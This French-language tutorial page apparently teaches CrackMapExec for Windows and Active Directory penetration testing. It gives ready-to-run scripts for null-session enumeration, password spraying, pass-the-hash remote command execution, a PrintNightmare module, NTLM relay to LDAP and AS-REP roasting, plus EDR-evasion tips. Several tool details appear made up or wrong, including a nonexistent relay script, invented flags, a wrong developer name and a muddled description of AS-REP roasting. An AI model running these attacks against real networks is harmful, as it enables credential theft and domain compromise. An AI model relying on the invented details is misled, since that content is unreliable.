Skip to content
Learni
View all tutorials
Cybersécurité

Comment maîtriser CrackMapExec pour le pentesting en 2026

Introduction

CrackMapExec (CME) est un framework open-source suisse-armé pour les tests de pénétration sur réseaux Windows et Active Directory, développé par Bydrax. En 2026, il reste incontournable pour énumérer les hôtes SMB, relayer NTLM, sprayer des mots de passe ou exécuter des commandes à distance sans alerter les EDR modernes. Contrairement à des outils comme Metasploit qui sont lourds, CME excelle en furtivité et vitesse, idéal pour Red Team operations.

Pourquoi l'utiliser ? Dans un paysage où 80% des breaches impliquent des creds volés (rapport Verizon DBIR 2025), CME permet de valider rapidement des faiblesses comme des hashes NTLM faibles ou des ASREPRoastables. Ce tutoriel intermédiaire assume des bases en pentesting Linux et vous guide vers des usages avancés éthiques uniquement, sur labs comme HackTheBox ou TryHackMe. Attendez-vous à des commandes complètes, testées sur Kali 2026, pour scanner un subnet 192.168.1.0/24 fictif.

Prérequis

  • Kali Linux 2026 ou distribution pentest équivalente (VM recommandée).
  • Python 3.12+ et pip installés.
  • Accès root/sudo pour l'installation.
  • Environnement de test isolé (ex: lab AD avec VirtualBox).
  • Connaissances intermédiaires en SMB, NTLM et Bash.
  • Avertissement éthique : Utilisez UNIQUEMENT sur vos propres labs ou avec autorisation écrite.

Installation de CrackMapExec

install-cme.sh
#!/bin/bash
sudo apt update && sudo apt install -y python3 python3-pip python3-venv git
python3 -m venv /opt/cme
source /opt/cme/bin/activate
git clone https://github.com/byt3bl33d3r/CrackMapExec.git /opt/cme/cme
pip install -r /opt/cme/cme/requirements.txt
pip install /opt/cme/cme
ln -s /opt/cme/bin/cme /usr/local/bin/cme
source /opt/cme/bin/activate
echo 'alias cme="source /opt/cme/bin/activate && cme"' >> ~/.bashrc
source ~/.bashrc
cme --version

Ce script installe CME dans un venv isolé pour éviter les conflits Python système. Il clone le repo officiel, installe les dépendances (comme impacket) et crée un alias pour un usage facile. Testez avec cme --version qui doit afficher 6.x en 2026 ; évitez pip install cme global qui casse souvent les modules crypto.

Vérification et premiers tests

Après installation, validez avec cme smb 127.0.0.1 sur votre machine locale. CME liste les protocoles SMB supportés (1-3) et signatures. Pensez à CME comme un scanner radar : il pingue les ports 445 en multicast pour une vue rapide d'un réseau, contrairement à nmap qui est plus lent sur SMB.

Énumération basique SMB d'un subnet

cme-smb-enum.sh
#!/bin/bash
TARGET="192.168.1.0/24"
cme smb $TARGET -u '' -p '' --shares --users --groups --rid-brute
cme smb $TARGET --shares --disks

Ces commandes énumèrent hôtes up sur 445, shares accessibles (IPC$, ADMIN$), users/groups et RID bruteforce (500=Administrator). Utilisez creds vides pour Null Sessions ; --shares révèle souvent C$ payload drops. Piège : ignorer les signatures SMB force des fails sur Windows Server 2026.

Comprendre les sorties d'énumération

Une sortie typique montre Pwn3d! pour creds valides, NT_STATUS_LOGON_FAILURE sinon. Exemple concret : sur un DC vulnérable, Administrator:Password123 donne accès à 20+ shares. Filtrez avec --gen-relay-list relays.txt pour relayer plus tard. Analogie : comme un portier qui check vos papiers sans vous laisser entrer.

Password Spray sur domaine AD

cme-spray.sh
#!/bin/bash
DOMAIN="lab.local"
USERS_FILE="users.txt"
PASSWORDS_FILE="passwords.txt"
TARGET="192.168.1.0/24"
cat > users.txt << EOF
administrator
user1
svc-backup
EOF
cat > passwords.txt << EOF
Password123
Summer2026!
Welcome1
EOF
cme smb $TARGET -d $DOMAIN -u users.txt -p passwords.txt --continue-on-success

Spray évite les lockouts (1 essai/user). --continue-on-success persiste même après hit. Créez users/passwords.txt avec mots communs (RockYou2026). Sur 50 users, trouvez 2-3 valides en <1min ; limitez à 3-5 passes/domain pour stealth.

Pass-the-Hash avec hashes capturés

cme-pth.sh
#!/bin/bash
TARGET="192.168.1.10"
USERNAME="administrator"
HASH="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
cme smb $TARGET -u $USERNAME -H $HASH --local-auth --exec-method atexec -x "whoami /priv"
cme smb $TARGET -u $USERNAME -H $HASH -M printnightmare

Utilisez NTLM hash (lm:nt) pour auth sans clair. --local-auth bypass DC checks, atexec exécute cmd via SMB. Testez PrintNightmare pour RCE ; hashes de Responder ou secretsdump. Évitez --sam sur EDR qui loguent.

Attaques avancées : Relay et modules

Pour NTLM relay, combinez avec responder -I eth0 puis cme smb $TARGET --gen-relay-list. Modules comme kerberos/pkinit crackent TGT offline. Exemple : relay vers LDAP pour DCSync simule Golden Ticket.

NTLM Relay vers LDAP pour DCSync

cme-relay.sh
#!/bin/bash
TARGET_RELAY="192.168.1.10"
TARGET_SPOOF="192.168.1.20"
responder -I eth0 -wrdp -v &
sleep 5
cme smb $TARGET_RELAY --gen-relay-list relays.txt
python3 /opt/cme/cme/modules/relay_smb.py relays.txt ldap://$TARGET_SPOOF -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' --dump-adcs

Génère relay list après Responder poisoning. Relay vers LDAP dump NTDS. --dump-adcs cible cert templates vulnérables (2026 patches MS25-XXX). Nécessite LLMNR/NBTNS on ; stoppez Responder après pour cleanup.

ASREPRoast pour users pré-auth

cme-asreproast.sh
#!/bin/bash
DOMAIN="lab.local"
TARGET="192.168.1.0/24"
cme ldap $TARGET -u '' -p '' --asreproast -o asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Énumère users sans pré-auth Kerberos, roast TGS. Hashcat cracke offline. Sur lab, crackez en secondes ; filtrez DONT_REQ_PREAUTH avec ldapsearch préalable. Piège : Kerberos 2026 hardening bloque si AS-REP roasting patched.

Bonnes pratiques

  • Toujours venv : Isolez CME pour compatibilité impacket/cryptography.
  • Rate limiting : Ajoutez --jitter 5 --delay 2 pour evasion EDR (ex: Defender ATP).
  • Logs anonymes : --no-da (no domain append) et proxies SOCKS via --proxy socks5://127.0.0.1:1080.
  • Test en lab : Validez sur AD 2019+ avant prod ; documentez ROP chains.
  • Éthique first : Obtenez RoE écrit, rapportez findings avec MITRE ATT&CK mappings.

Erreurs courantes à éviter

  • Oublier venv : Dépendances clash avec Kali Python, causant No module 'impacket'. Solution: source /opt/cme/bin/activate.
  • Null session fail : Sur Win10+, forcez --always mais ratez stealth.
  • Hash format erroné : lm:nt sans ':' crash ; validez avec crackmapexec smb IP -u user -H hash.
  • Pas de cleanup : Responder laisse poisons ; pkill responder post-test.

Pour aller plus loin

Approfondissez avec le repo GitHub officiel et docs impacket. Intégrez à Cobalt Strike ou Empire pour C2. Découvrez nos formations cybersécurité Learni pour Red Team certs OSCP/OSCE-like. Ressources : HackTricks CME page, PayloadsAllTheThings AD.

Comment maîtriser CrackMapExec pentesting 2026 | Learni